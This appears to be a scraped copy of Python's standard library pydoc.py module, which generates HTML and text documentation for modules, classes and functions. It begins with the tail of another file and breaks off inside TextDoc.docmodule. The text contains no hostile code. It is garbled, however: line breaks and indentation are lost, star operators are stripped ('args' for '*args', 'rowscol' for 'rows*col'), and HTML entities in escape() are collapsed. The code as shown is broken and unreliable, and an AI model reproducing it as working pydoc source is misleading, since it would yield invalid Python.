isinstance(obj, Function): print("{}def {} {}".format(' ' * obj.indent, obj.name, obj.lineno)) if __name__ == "__main__": _main()	14.78 KB	2024-04-17 17:55
📄 pydoc.py """Generate Python documentation in HTML or text for interactive use. At the Python interactive prompt, calling help(thing) on a Python object documents the object, and calling help() starts up an interactive help session. Or, at the shell command line outside of Python: Run "pydoc <name>" to show documentation on something. <name> may be the name of a function, module, package, or a dotted reference to a class or function within a module or module in a package. If the argument contains a path segment delimiter (e.g. slash on Unix, backslash on Windows) it is treated as the path to a Python source file. Run "pydoc -k <keyword>" to search for a keyword in the synopsis lines of all available modules. Run "pydoc -n <hostname>" to start an HTTP server with the given hostname (default: localhost) on the local machine. Run "pydoc -p <port>" to start an HTTP server on the given port on the local machine. Port number 0 can be used to get an arbitrary unused port. Run "pydoc -b" to start an HTTP server on an arbitrary unused port and open a Web browser to interactively browse documentation. Combine with the -n and -p options to control the hostname and port used. Run "pydoc -w <name>" to write out the HTML documentation for a module to a file named "<name>.html". Module docs for core modules are assumed to be in https://docs.python.org/X.Y/library/ This can be overridden by setting the PYTHONDOCS environment variable to a different URL or to a local directory containing the Library Reference Manual pages. """ __all__ = ['help'] __author__ = "Ka-Ping Yee <ping@lfw.org>" __date__ = "26 February 2001" __credits__ = """Guido van Rossum, for an excellent programming language. Tommy Burnette, the original creator of manpy. Paul Prescod, for all his work on onlinehelp. Richard Chamberlain, for the first implementation of textdoc. """ # Known bugs that can't be fixed here: # - synopsis() cannot be prevented from clobbering existing # loaded modules. # - If the __file__ attribute on a module is a relative path and # the current directory is changed with os.chdir(), an incorrect # path will be displayed. import builtins import importlib._bootstrap import importlib._bootstrap_external import importlib.machinery import importlib.util import inspect import io import os import pkgutil import platform import re import sys import sysconfig import time import tokenize import urllib.parse import warnings from collections import deque from reprlib import Repr from traceback import format_exception_only # --------------------------------------------------------- common routines def pathdirs(): """Convert sys.path into a list of absolute, existing, unique paths.""" dirs = [] normdirs = [] for dir in sys.path: dir = os.path.abspath(dir or '.') normdir = os.path.normcase(dir) if normdir not in normdirs and os.path.isdir(dir): dirs.append(dir) normdirs.append(normdir) return dirs def getdoc(object): """Get the doc string or comments for an object.""" result = inspect.getdoc(object) or inspect.getcomments(object) return result and re.sub('^ \n', '', result.rstrip()) or '' def splitdoc(doc): """Split a doc string into a synopsis line (if any) and the rest.""" lines = doc.strip().split('\n') if len(lines) == 1: return lines[0], '' elif len(lines) >= 2 and not lines[1].rstrip(): return lines[0], '\n'.join(lines[2:]) return '', '\n'.join(lines) def classname(object, modname): """Get a class name and qualify it with a module name if necessary.""" name = object.__name__ if object.__module__ != modname: name = object.__module__ + '.' + name return name def isdata(object): """Check if an object is of a type that probably means it's data.""" return not (inspect.ismodule(object) or inspect.isclass(object) or inspect.isroutine(object) or inspect.isframe(object) or inspect.istraceback(object) or inspect.iscode(object)) def replace(text, pairs): """Do a series of global replacements on a string.""" while pairs: text = pairs[1].join(text.split(pairs[0])) pairs = pairs[2:] return text def cram(text, maxlen): """Omit part of a string if needed to make it fit in a maximum length.""" if len(text) > maxlen: pre = max(0, (maxlen-3)//2) post = max(0, maxlen-3-pre) return text[:pre] + '...' + text[len(text)-post:] return text _re_stripid = re.compile(r' at 0x[0-9a-f]{6,16}(>+)$', re.IGNORECASE) def stripid(text): """Remove the hexadecimal id from a Python object representation.""" # The behaviour of %p is implementation-dependent in terms of case. return _re_stripid.sub(r'\1', text) def _is_some_method(obj): return (inspect.isfunction(obj) or inspect.ismethod(obj) or inspect.isbuiltin(obj) or inspect.ismethoddescriptor(obj)) def _is_bound_method(fn): """ Returns True if fn is a bound method, regardless of whether fn was implemented in Python or in C. """ if inspect.ismethod(fn): return True if inspect.isbuiltin(fn): self = getattr(fn, '__self__', None) return not (inspect.ismodule(self) or (self is None)) return False def allmethods(cl): methods = {} for key, value in inspect.getmembers(cl, _is_some_method): methods[key] = 1 for base in cl.__bases__: methods.update(allmethods(base)) # all your base are belong to us for key in methods.keys(): methods[key] = getattr(cl, key) return methods def _split_list(s, predicate): """Split sequence s via predicate, and return pair ([true], [false]). The return value is a 2-tuple of lists, ([x for x in s if predicate(x)], [x for x in s if not predicate(x)]) """ yes = [] no = [] for x in s: if predicate(x): yes.append(x) else: no.append(x) return yes, no def visiblename(name, all=None, obj=None): """Decide whether to show documentation on a variable.""" # Certain special names are redundant or internal. # XXX Remove __initializing__? if name in {'__author__', '__builtins__', '__cached__', '__credits__', '__date__', '__doc__', '__file__', '__spec__', '__loader__', '__module__', '__name__', '__package__', '__path__', '__qualname__', '__slots__', '__version__'}: return 0 # Private names are hidden, but special names are displayed. if name.startswith('__') and name.endswith('__'): return 1 # Namedtuples have public fields and methods with a single leading underscore if name.startswith('_') and hasattr(obj, '_fields'): return True if all is not None: # only document that which the programmer exported in __all__ return name in all else: return not name.startswith('_') def classify_class_attrs(object): """Wrap inspect.classify_class_attrs, with fixup for data descriptors.""" results = [] for (name, kind, cls, value) in inspect.classify_class_attrs(object): if inspect.isdatadescriptor(value): kind = 'data descriptor' results.append((name, kind, cls, value)) return results def sort_attributes(attrs, object): 'Sort the attrs list in-place by _fields and then alphabetically by name' # This allows data descriptors to be ordered according # to a _fields attribute if present. fields = getattr(object, '_fields', []) try: field_order = {name : i-len(fields) for (i, name) in enumerate(fields)} except TypeError: field_order = {} keyfunc = lambda attr: (field_order.get(attr[0], 0), attr[0]) attrs.sort(key=keyfunc) # ----------------------------------------------------- module manipulation def ispackage(path): """Guess whether a path refers to a package directory.""" if os.path.isdir(path): for ext in ('.py', '.pyc'): if os.path.isfile(os.path.join(path, '__init__' + ext)): return True return False def source_synopsis(file): line = file.readline() while line[:1] == '#' or not line.strip(): line = file.readline() if not line: break line = line.strip() if line[:4] == 'r"""': line = line[1:] if line[:3] == '"""': line = line[3:] if line[-1:] == '\\': line = line[:-1] while not line.strip(): line = file.readline() if not line: break result = line.split('"""')[0].strip() else: result = None return result def synopsis(filename, cache={}): """Get the one-line summary out of a module file.""" mtime = os.stat(filename).st_mtime lastupdate, result = cache.get(filename, (None, None)) if lastupdate is None or lastupdate < mtime: # Look for binary suffixes first, falling back to source. if filename.endswith(tuple(importlib.machinery.BYTECODE_SUFFIXES)): loader_cls = importlib.machinery.SourcelessFileLoader elif filename.endswith(tuple(importlib.machinery.EXTENSION_SUFFIXES)): loader_cls = importlib.machinery.ExtensionFileLoader else: loader_cls = None # Now handle the choice. if loader_cls is None: # Must be a source file. try: file = tokenize.open(filename) except OSError: # module can't be opened, so skip it return None # text modules can be directly examined with file: result = source_synopsis(file) else: # Must be a binary module, which has to be imported. loader = loader_cls('__temp__', filename) # XXX We probably don't need to pass in the loader here. spec = importlib.util.spec_from_file_location('__temp__', filename, loader=loader) try: module = importlib._bootstrap._load(spec) except: return None del sys.modules['__temp__'] result = module.__doc__.splitlines()[0] if module.__doc__ else None # Cache the result. cache[filename] = (mtime, result) return result class ErrorDuringImport(Exception): """Errors that occurred while trying to import something to document it.""" def __init__(self, filename, exc_info): self.filename = filename self.exc, self.value, self.tb = exc_info def __str__(self): exc = self.exc.__name__ return 'problem in %s - %s: %s' % (self.filename, exc, self.value) def importfile(path): """Import a Python source file or compiled file given its path.""" magic = importlib.util.MAGIC_NUMBER with open(path, 'rb') as file: is_bytecode = magic == file.read(len(magic)) filename = os.path.basename(path) name, ext = os.path.splitext(filename) if is_bytecode: loader = importlib._bootstrap_external.SourcelessFileLoader(name, path) else: loader = importlib._bootstrap_external.SourceFileLoader(name, path) # XXX We probably don't need to pass in the loader here. spec = importlib.util.spec_from_file_location(name, path, loader=loader) try: return importlib._bootstrap._load(spec) except: raise ErrorDuringImport(path, sys.exc_info()) def safeimport(path, forceload=0, cache={}): """Import a module; handle errors; return None if the module isn't found. If the module is found but an exception occurs, it's wrapped in an ErrorDuringImport exception and reraised. Unlike __import__, if a package path is specified, the module at the end of the path is returned, not the package at the beginning. If the optional 'forceload' argument is 1, we reload the module from disk (unless it's a dynamic extension).""" try: # If forceload is 1 and the module has been previously loaded from # disk, we always have to reload the module. Checking the file's # mtime isn't good enough (e.g. the module could contain a class # that inherits from another module that has changed). if forceload and path in sys.modules: if path not in sys.builtin_module_names: # Remove the module from sys.modules and re-import to try # and avoid problems with partially loaded modules. # Also remove any submodules because they won't appear # in the newly loaded module's namespace if they're already # in sys.modules. subs = [m for m in sys.modules if m.startswith(path + '.')] for key in [path] + subs: # Prevent garbage collection. cache[key] = sys.modules[key] del sys.modules[key] module = __import__(path) except: # Did the error occur before or after the module was found? (exc, value, tb) = info = sys.exc_info() if path in sys.modules: # An error occurred while executing the imported module. raise ErrorDuringImport(sys.modules[path].__file__, info) elif exc is SyntaxError: # A SyntaxError occurred before we could execute the module. raise ErrorDuringImport(value.filename, info) elif issubclass(exc, ImportError) and value.name == path: # No such module in the path. return None else: # Some other error occurred during the importing process. raise ErrorDuringImport(path, sys.exc_info()) for part in path.split('.')[1:]: try: module = getattr(module, part) except AttributeError: return None return module # ---------------------------------------------------- formatter base class class Doc: PYTHONDOCS = os.environ.get("PYTHONDOCS", "https://docs.python.org/%d.%d/library" % sys.version_info[:2]) def document(self, object, name=None, args): """Generate documentation for an object.""" args = (object, name) + args # 'try' clause is to attempt to handle the possibility that inspect # identifies something in a way that pydoc itself has issues handling; # think 'super' and how it is a descriptor (which raises the exception # by lacking a __name__ attribute) and an instance. if inspect.isgetsetdescriptor(object): return self.docdata(args) if inspect.ismemberdescriptor(object): return self.docdata(args) try: if inspect.ismodule(object): return self.docmodule(args) if inspect.isclass(object): return self.docclass(args) if inspect.isroutine(object): return self.docroutine(args) except AttributeError: pass if isinstance(object, property): return self.docproperty(args) return self.docother(args) def fail(self, object, name=None, args): """Raise an exception for unimplemented types.""" message = "don't know how to document object%s of type %s" % ( name and ' ' + repr(name), type(object).__name__) raise TypeError(message) docmodule = docclass = docroutine = docother = docproperty = docdata = fail def getdocloc(self, object, basedir=sysconfig.get_path('stdlib')): """Return the location of module docs or None""" try: file = inspect.getabsfile(object) except TypeError: file = '(built-in)' docloc = os.environ.get("PYTHONDOCS", self.PYTHONDOCS) basedir = os.path.normcase(basedir) if (isinstance(object, type(os)) and (object.__name__ in ('errno', 'exceptions', 'gc', 'imp', 'marshal', 'posix', 'signal', 'sys', '_thread', 'zipimport') or (file.startswith(basedir) and not file.startswith(os.path.join(basedir, 'site-packages')))) and object.__name__ not in ('xml.etree', 'test.pydoc_mod')): if docloc.startswith(("http://", "https://")): docloc = "%s/%s" % (docloc.rstrip("/"), object.__name__.lower()) else: docloc = os.path.join(docloc, object.__name__.lower() + ".html") else: docloc = None return docloc # -------------------------------------------- HTML documentation generator class HTMLRepr(Repr): """Class for safely making an HTML representation of a Python object.""" def __init__(self): Repr.__init__(self) self.maxlist = self.maxtuple = 20 self.maxdict = 10 self.maxstring = self.maxother = 100 def escape(self, text): return replace(text, '&', '&', '<', '<', '>', '>') def repr(self, object): return Repr.repr(self, object) def repr1(self, x, level): if hasattr(type(x), '__name__'): methodname = 'repr_' + '_'.join(type(x).__name__.split()) if hasattr(self, methodname): return getattr(self, methodname)(x, level) return self.escape(cram(stripid(repr(x)), self.maxother)) def repr_string(self, x, level): test = cram(x, self.maxstring) testrepr = repr(test) if '\\' in test and '\\' not in replace(testrepr, r'\\', ''): # Backslashes are only literal in the string and are never # needed to make any special characters, so show a raw string. return 'r' + testrepr[0] + self.escape(test) + testrepr[0] return re.sub(r'((\\[\\abfnrtv\'"]\|\\[0-9]..\|\\x..\|\\u....)+)', r'<font color="#c040c0">\1</font>', self.escape(testrepr)) repr_str = repr_string def repr_instance(self, x, level): try: return self.escape(cram(stripid(repr(x)), self.maxstring)) except: return self.escape('<%s instance>' % x.__class__.__name__) repr_unicode = repr_string class HTMLDoc(Doc): """Formatter class for HTML documentation.""" # ------------------------------------------- HTML formatting utilities _repr_instance = HTMLRepr() repr = _repr_instance.repr escape = _repr_instance.escape def page(self, title, contents): """Format an HTML page.""" return '''\ <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html><head><title>Python: %s</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> </head><body bgcolor="#f0f0f8"> %s </body></html>''' % (title, contents) def heading(self, title, fgcol, bgcol, extras=''): """Format a page heading.""" return ''' <table width="100%%" cellspacing=0 cellpadding=2 border=0 summary="heading"> <tr bgcolor="%s"> <td valign=bottom> <br> <font color="%s" face="helvetica, arial"> <br>%s</font></td ><td align=right valign=bottom ><font color="%s" face="helvetica, arial">%s</font></td></tr></table> ''' % (bgcol, fgcol, title, fgcol, extras or ' ') def section(self, title, fgcol, bgcol, contents, width=6, prelude='', marginalia=None, gap=' '): """Format a section with a heading.""" if marginalia is None: marginalia = '<tt>' + ' ' width + '</tt>' result = '''<p> <table width="100%%" cellspacing=0 cellpadding=2 border=0 summary="section"> <tr bgcolor="%s"> <td colspan=3 valign=bottom> <br> <font color="%s" face="helvetica, arial">%s</font></td></tr> ''' % (bgcol, fgcol, title) if prelude: result = result + ''' <tr bgcolor="%s"><td rowspan=2>%s</td> <td colspan=2>%s</td></tr> <tr><td>%s</td>''' % (bgcol, marginalia, prelude, gap) else: result = result + ''' <tr><td bgcolor="%s">%s</td><td>%s</td>''' % (bgcol, marginalia, gap) return result + '\n<td width="100%%">%s</td></tr></table>' % contents def bigsection(self, title, args): """Format a section with a big heading.""" title = '<big><strong>%s</strong></big>' % title return self.section(title, args) def preformat(self, text): """Format literal preformatted text.""" text = self.escape(text.expandtabs()) return replace(text, '\n\n', '\n \n', '\n\n', '\n \n', ' ', ' ', '\n', '<br>\n') def multicolumn(self, list, format, cols=4): """Format a list of items into a multi-column list.""" result = '' rows = (len(list)+cols-1)//cols for col in range(cols): result = result + '<td width="%d%%" valign=top>' % (100//cols) for i in range(rowscol, rowscol+rows): if i < len(list): result = result + format(list[i]) + '<br>\n' result = result + '</td>' return '<table width="100%%" summary="list"><tr>%s</tr></table>' % result def grey(self, text): return '<font color="#909090">%s</font>' % text def namelink(self, name, dicts): """Make a link for an identifier, given name-to-URL mappings.""" for dict in dicts: if name in dict: return '<a href="%s">%s</a>' % (dict[name], name) return name def classlink(self, object, modname): """Make a link for a class.""" name, module = object.__name__, sys.modules.get(object.__module__) if hasattr(module, name) and getattr(module, name) is object: return '<a href="%s.html#%s">%s</a>' % ( module.__name__, name, classname(object, modname)) return classname(object, modname) def modulelink(self, object): """Make a link for a module.""" return '<a href="%s.html">%s</a>' % (object.__name__, object.__name__) def modpkglink(self, modpkginfo): """Make a link for a module or package to display in an index.""" name, path, ispackage, shadowed = modpkginfo if shadowed: return self.grey(name) if path: url = '%s.%s.html' % (path, name) else: url = '%s.html' % name if ispackage: text = '<strong>%s</strong> (package)' % name else: text = name return '<a href="%s">%s</a>' % (url, text) def filelink(self, url, path): """Make a link to source file.""" return '<a href="file:%s">%s</a>' % (url, path) def markup(self, text, escape=None, funcs={}, classes={}, methods={}): """Mark up some plain text, given a context of symbols to look for. Each context dictionary maps object names to anchor names.""" escape = escape or self.escape results = [] here = 0 pattern = re.compile(r'\b((http\|ftp)://\S+[\w/]\|' r'RFC[- ]?(\d+)\|' r'PEP[- ]?(\d+)\|' r'(self\.)?(\w+))') while True: match = pattern.search(text, here) if not match: break start, end = match.span() results.append(escape(text[here:start])) all, scheme, rfc, pep, selfdot, name = match.groups() if scheme: url = escape(all).replace('"', '"') results.append('<a href="%s">%s</a>' % (url, url)) elif rfc: url = 'http://www.rfc-editor.org/rfc/rfc%d.txt' % int(rfc) results.append('<a href="%s">%s</a>' % (url, escape(all))) elif pep: url = 'http://www.python.org/dev/peps/pep-%04d/' % int(pep) results.append('<a href="%s">%s</a>' % (url, escape(all))) elif selfdot: # Create a link for methods like 'self.method(...)' # and use <strong> for attributes like 'self.attr' if text[end:end+1] == '(': results.append('self.' + self.namelink(name, methods)) else: results.append('self.<strong>%s</strong>' % name) elif text[end:end+1] == '(': results.append(self.namelink(name, methods, funcs, classes)) else: results.append(self.namelink(name, classes)) here = end results.append(escape(text[here:])) return ''.join(results) # ---------------------------------------------- type-specific routines def formattree(self, tree, modname, parent=None): """Produce HTML for a class tree as given by inspect.getclasstree().""" result = '' for entry in tree: if type(entry) is type(()): c, bases = entry result = result + '<dt><font face="helvetica, arial">' result = result + self.classlink(c, modname) if bases and bases != (parent,): parents = [] for base in bases: parents.append(self.classlink(base, modname)) result = result + '(' + ', '.join(parents) + ')' result = result + '\n</font></dt>' elif type(entry) is type([]): result = result + '<dd>\n%s</dd>\n' % self.formattree( entry, modname, c) return '<dl>\n%s</dl>\n' % result def docmodule(self, object, name=None, mod=None, ignored): """Produce HTML documentation for a module object.""" name = object.__name__ # ignore the passed-in name try: all = object.__all__ except AttributeError: all = None parts = name.split('.') links = [] for i in range(len(parts)-1): links.append( '<a href="%s.html"><font color="#ffffff">%s</font></a>' % ('.'.join(parts[:i+1]), parts[i])) linkedname = '.'.join(links + parts[-1:]) head = '<big><big><strong>%s</strong></big></big>' % linkedname try: path = inspect.getabsfile(object) url = urllib.parse.quote(path) filelink = self.filelink(url, path) except TypeError: filelink = '(built-in)' info = [] if hasattr(object, '__version__'): version = str(object.__version__) if version[:11] == '$' + 'Revision: ' and version[-1:] == '$': version = version[11:-1].strip() info.append('version %s' % self.escape(version)) if hasattr(object, '__date__'): info.append(self.escape(str(object.__date__))) if info: head = head + ' (%s)' % ', '.join(info) docloc = self.getdocloc(object) if docloc is not None: docloc = '<br><a href="%(docloc)s">Module Reference</a>' % locals() else: docloc = '' result = self.heading( head, '#ffffff', '#7799ee', '<a href=".">index</a><br>' + filelink + docloc) modules = inspect.getmembers(object, inspect.ismodule) classes, cdict = [], {} for key, value in inspect.getmembers(object, inspect.isclass): # if __all__ exists, believe it. Otherwise use old heuristic. if (all is not None or (inspect.getmodule(value) or object) is object): if visiblename(key, all, object): classes.append((key, value)) cdict[key] = cdict[value] = '#' + key for key, value in classes: for base in value.__bases__: key, modname = base.__name__, base.__module__ module = sys.modules.get(modname) if modname != name and module and hasattr(module, key): if getattr(module, key) is base: if not key in cdict: cdict[key] = cdict[base] = modname + '.html#' + key funcs, fdict = [], {} for key, value in inspect.getmembers(object, inspect.isroutine): # if __all__ exists, believe it. Otherwise use old heuristic. if (all is not None or inspect.isbuiltin(value) or inspect.getmodule(value) is object): if visiblename(key, all, object): funcs.append((key, value)) fdict[key] = '#-' + key if inspect.isfunction(value): fdict[value] = fdict[key] data = [] for key, value in inspect.getmembers(object, isdata): if visiblename(key, all, object): data.append((key, value)) doc = self.markup(getdoc(object), self.preformat, fdict, cdict) doc = doc and '<tt>%s</tt>' % doc result = result + '<p>%s</p>\n' % doc if hasattr(object, '__path__'): modpkgs = [] for importer, modname, ispkg in pkgutil.iter_modules(object.__path__): modpkgs.append((modname, name, ispkg, 0)) modpkgs.sort() contents = self.multicolumn(modpkgs, self.modpkglink) result = result + self.bigsection( 'Package Contents', '#ffffff', '#aa55cc', contents) elif modules: contents = self.multicolumn( modules, lambda t: self.modulelink(t[1])) result = result + self.bigsection( 'Modules', '#ffffff', '#aa55cc', contents) if classes: classlist = [value for (key, value) in classes] contents = [ self.formattree(inspect.getclasstree(classlist, 1), name)] for key, value in classes: contents.append(self.document(value, key, name, fdict, cdict)) result = result + self.bigsection( 'Classes', '#ffffff', '#ee77aa', ' '.join(contents)) if funcs: contents = [] for key, value in funcs: contents.append(self.document(value, key, name, fdict, cdict)) result = result + self.bigsection( 'Functions', '#ffffff', '#eeaa77', ' '.join(contents)) if data: contents = [] for key, value in data: contents.append(self.document(value, key)) result = result + self.bigsection( 'Data', '#ffffff', '#55aa55', '<br>\n'.join(contents)) if hasattr(object, '__author__'): contents = self.markup(str(object.__author__), self.preformat) result = result + self.bigsection( 'Author', '#ffffff', '#7799ee', contents) if hasattr(object, '__credits__'): contents = self.markup(str(object.__credits__), self.preformat) result = result + self.bigsection( 'Credits', '#ffffff', '#7799ee', contents) return result def docclass(self, object, name=None, mod=None, funcs={}, classes={}, ignored): """Produce HTML documentation for a class object.""" realname = object.__name__ name = name or realname bases = object.__bases__ contents = [] push = contents.append # Cute little class to pump out a horizontal rule between sections. class HorizontalRule: def __init__(self): self.needone = 0 def maybe(self): if self.needone: push('<hr>\n') self.needone = 1 hr = HorizontalRule() # List the mro, if non-trivial. mro = deque(inspect.getmro(object)) if len(mro) > 2: hr.maybe() push('<dl><dt>Method resolution order:</dt>\n') for base in mro: push('<dd>%s</dd>\n' % self.classlink(base, object.__module__)) push('</dl>\n') def spill(msg, attrs, predicate): ok, attrs = _split_list(attrs, predicate) if ok: hr.maybe() push(msg) for name, kind, homecls, value in ok: try: value = getattr(object, name) except Exception: # Some descriptors may meet a failure in their __get__. # (bug #1785) push(self._docdescriptor(name, value, mod)) else: push(self.document(value, name, mod, funcs, classes, mdict, object)) push('\n') return attrs def spilldescriptors(msg, attrs, predicate): ok, attrs = _split_list(attrs, predicate) if ok: hr.maybe() push(msg) for name, kind, homecls, value in ok: push(self._docdescriptor(name, value, mod)) return attrs def spilldata(msg, attrs, predicate): ok, attrs = _split_list(attrs, predicate) if ok: hr.maybe() push(msg) for name, kind, homecls, value in ok: base = self.docother(getattr(object, name), name, mod) if callable(value) or inspect.isdatadescriptor(value): doc = getattr(value, "__doc__", None) else: doc = None if doc is None: push('<dl><dt>%s</dl>\n' % base) else: doc = self.markup(getdoc(value), self.preformat, funcs, classes, mdict) doc = '<dd><tt>%s</tt>' % doc push('<dl><dt>%s%s</dl>\n' % (base, doc)) push('\n') return attrs attrs = [(name, kind, cls, value) for name, kind, cls, value in classify_class_attrs(object) if visiblename(name, obj=object)] mdict = {} for key, kind, homecls, value in attrs: mdict[key] = anchor = '#' + name + '-' + key try: value = getattr(object, name) except Exception: # Some descriptors may meet a failure in their __get__. # (bug #1785) pass try: # The value may not be hashable (e.g., a data attr with # a dict or list value). mdict[value] = anchor except TypeError: pass while attrs: if mro: thisclass = mro.popleft() else: thisclass = attrs[0][2] attrs, inherited = _split_list(attrs, lambda t: t[2] is thisclass) if thisclass is builtins.object: attrs = inherited continue elif thisclass is object: tag = 'defined here' else: tag = 'inherited from %s' % self.classlink(thisclass, object.__module__) tag += ':<br>\n' sort_attributes(attrs, object) # Pump out the attrs, segregated by kind. attrs = spill('Methods %s' % tag, attrs, lambda t: t[1] == 'method') attrs = spill('Class methods %s' % tag, attrs, lambda t: t[1] == 'class method') attrs = spill('Static methods %s' % tag, attrs, lambda t: t[1] == 'static method') attrs = spilldescriptors('Data descriptors %s' % tag, attrs, lambda t: t[1] == 'data descriptor') attrs = spilldata('Data and other attributes %s' % tag, attrs, lambda t: t[1] == 'data') assert attrs == [] attrs = inherited contents = ''.join(contents) if name == realname: title = '<a name="%s">class <strong>%s</strong></a>' % ( name, realname) else: title = '<strong>%s</strong> = <a name="%s">class %s</a>' % ( name, name, realname) if bases: parents = [] for base in bases: parents.append(self.classlink(base, object.__module__)) title = title + '(%s)' % ', '.join(parents) decl = '' try: signature = inspect.signature(object) except (ValueError, TypeError): signature = None if signature: argspec = str(signature) if argspec and argspec != '()': decl = name + self.escape(argspec) + '\n\n' doc = getdoc(object) if decl: doc = decl + (doc or '') doc = self.markup(doc, self.preformat, funcs, classes, mdict) doc = doc and '<tt>%s<br> </tt>' % doc return self.section(title, '#000000', '#ffc8d8', contents, 3, doc) def formatvalue(self, object): """Format an argument default value as text.""" return self.grey('=' + self.repr(object)) def docroutine(self, object, name=None, mod=None, funcs={}, classes={}, methods={}, cl=None): """Produce HTML documentation for a function or method object.""" realname = object.__name__ name = name or realname anchor = (cl and cl.__name__ or '') + '-' + name note = '' skipdocs = 0 if _is_bound_method(object): imclass = object.__self__.__class__ if cl: if imclass is not cl: note = ' from ' + self.classlink(imclass, mod) else: if object.__self__ is not None: note = ' method of %s instance' % self.classlink( object.__self__.__class__, mod) else: note = ' unbound %s method' % self.classlink(imclass,mod) if name == realname: title = '<a name="%s"><strong>%s</strong></a>' % (anchor, realname) else: if cl and inspect.getattr_static(cl, realname, []) is object: reallink = '<a href="#%s">%s</a>' % ( cl.__name__ + '-' + realname, realname) skipdocs = 1 else: reallink = realname title = '<a name="%s"><strong>%s</strong></a> = %s' % ( anchor, name, reallink) argspec = None if inspect.isroutine(object): try: signature = inspect.signature(object) except (ValueError, TypeError): signature = None if signature: argspec = str(signature) if realname == '<lambda>': title = '<strong>%s</strong> <em>lambda</em> ' % name # XXX lambda's won't usually have func_annotations['return'] # since the syntax doesn't support but it is possible. # So removing parentheses isn't truly safe. argspec = argspec[1:-1] # remove parentheses if not argspec: argspec = '(...)' decl = title + self.escape(argspec) + (note and self.grey( '<font face="helvetica, arial">%s</font>' % note)) if skipdocs: return '<dl><dt>%s</dt></dl>\n' % decl else: doc = self.markup( getdoc(object), self.preformat, funcs, classes, methods) doc = doc and '<dd><tt>%s</tt></dd>' % doc return '<dl><dt>%s</dt>%s</dl>\n' % (decl, doc) def _docdescriptor(self, name, value, mod): results = [] push = results.append if name: push('<dl><dt><strong>%s</strong></dt>\n' % name) if value.__doc__ is not None: doc = self.markup(getdoc(value), self.preformat) push('<dd><tt>%s</tt></dd>\n' % doc) push('</dl>\n') return ''.join(results) def docproperty(self, object, name=None, mod=None, cl=None): """Produce html documentation for a property.""" return self._docdescriptor(name, object, mod) def docother(self, object, name=None, mod=None, ignored): """Produce HTML documentation for a data object.""" lhs = name and '<strong>%s</strong> = ' % name or '' return lhs + self.repr(object) def docdata(self, object, name=None, mod=None, cl=None): """Produce html documentation for a data descriptor.""" return self._docdescriptor(name, object, mod) def index(self, dir, shadowed=None): """Generate an HTML index for a directory of modules.""" modpkgs = [] if shadowed is None: shadowed = {} for importer, name, ispkg in pkgutil.iter_modules([dir]): if any((0xD800 <= ord(ch) <= 0xDFFF) for ch in name): # ignore a module if its name contains a surrogate character continue modpkgs.append((name, '', ispkg, name in shadowed)) shadowed[name] = 1 modpkgs.sort() contents = self.multicolumn(modpkgs, self.modpkglink) return self.bigsection(dir, '#ffffff', '#ee77aa', contents) # -------------------------------------------- text documentation generator class TextRepr(Repr): """Class for safely making a text representation of a Python object.""" def __init__(self): Repr.__init__(self) self.maxlist = self.maxtuple = 20 self.maxdict = 10 self.maxstring = self.maxother = 100 def repr1(self, x, level): if hasattr(type(x), '__name__'): methodname = 'repr_' + '_'.join(type(x).__name__.split()) if hasattr(self, methodname): return getattr(self, methodname)(x, level) return cram(stripid(repr(x)), self.maxother) def repr_string(self, x, level): test = cram(x, self.maxstring) testrepr = repr(test) if '\\' in test and '\\' not in replace(testrepr, r'\\', ''): # Backslashes are only literal in the string and are never # needed to make any special characters, so show a raw string. return 'r' + testrepr[0] + test + testrepr[0] return testrepr repr_str = repr_string def repr_instance(self, x, level): try: return cram(stripid(repr(x)), self.maxstring) except: return '<%s instance>' % x.__class__.__name__ class TextDoc(Doc): """Formatter class for text documentation.""" # ------------------------------------------- text formatting utilities _repr_instance = TextRepr() repr = _repr_instance.repr def bold(self, text): """Format a string in bold by overstriking.""" return ''.join(ch + '\b' + ch for ch in text) def indent(self, text, prefix=' '): """Indent text by prepending a given prefix to each line.""" if not text: return '' lines = [prefix + line for line in text.split('\n')] if lines: lines[-1] = lines[-1].rstrip() return '\n'.join(lines) def section(self, title, contents): """Format a section with a given heading.""" clean_contents = self.indent(contents).rstrip() return self.bold(title) + '\n' + clean_contents + '\n\n' # ---------------------------------------------- type-specific routines def formattree(self, tree, modname, parent=None, prefix=''): """Render in text a class tree as returned by inspect.getclasstree().""" result = '' for entry in tree: if type(entry) is type(()): c, bases = entry result = result + prefix + classname(c, modname) if bases and bases != (parent,): parents = (classname(c, modname) for c in bases) result = result + '(%s)' % ', '.join(parents) result = result + '\n' elif type(entry) is type([]): result = result + self.formattree( entry, modname, c, prefix + ' ') return result def docmodule(self, object, name=None, mod=None): """Produce text documentation for a given module object.""" name = object.__name__ # ignore the passed-in name synop, desc = splitdoc(getdoc(object)) result = self.section('NAME', name + (synop and ' - ' + synop)) all = getattr(object, '__all__', None) docloc = self.getdocloc(object) if docloc is not None: result = result + self.section('MODULE REFERENCE', docloc + """ The following documentation is automatically generated from the Python source files. It may be incomplete, incorrect or include features that are considered implementation detail and may vary between Python implementations. When in doubt, consult the module reference at the location listed above. """) if desc: result = result + self.section('DESCRIPTION', desc) classes = [] for key, value in inspect.getmembers(object, inspect.isclass): # if __all__ exists, believe it. Otherwise use old heuristic. if (all is not None or (inspect.getmodule(value) or object) is object): if visiblename(key, all, object): classes.append((key, value)) funcs = [] for key, value in inspect.getmembers(object, inspect.isroutine): # if __all__ exists, believe it. Otherwise use old heuristic. if (all is not None or inspect.isbuiltin(value) or inspect.getmodule(value) is object): if visiblename(key, all, object): funcs.append((key, value)) data = [] for key, value in inspect.getmembers(object, isdata): if visiblename(key, all, object): data.append((key, value)) modpkgs = [] modpkgs_names = set() if hasattr(object, '__path__'): for importer, modname, ispkg in pkgutil.iter_modules(object.__path__): modpkgs_names.add(modname) if ispkg: modpkgs.append(modname + ' (package)') else: modpkgs.append(modname) modpkgs.sort() result = result + self.section( 'PACKAGE CONTENTS', '\n'.join(modpkgs)) # Detect submodules as sometimes created by C extensions submodules = [] for key, value in inspect.getmembers(object, inspect.ismodule): if value.__name__.startswith(name + '.') and key not in modpkgs_names: submodules.append(key) if submodules: submodules.sort() result = result + self.section( 'SUBMODULES', '\n'.join(submodules)) if classes: classlist = [value for key, value in classes] contents = [self.formattree( inspect.getclasstree(classlist, 1), name)] for key, value in classes: contents.append(self.document(value, key, name)) result = result + self.section('CLASSES', '\n'.join(contents)) if funcs: contents = [] for key, value in funcs: contents.append(self.document(value, key, name)) result = result + self.section('FUNCTIONS', '\n'.join(contents)) if data: contents = [] for key, value in data: contents.append(self.docother(value, 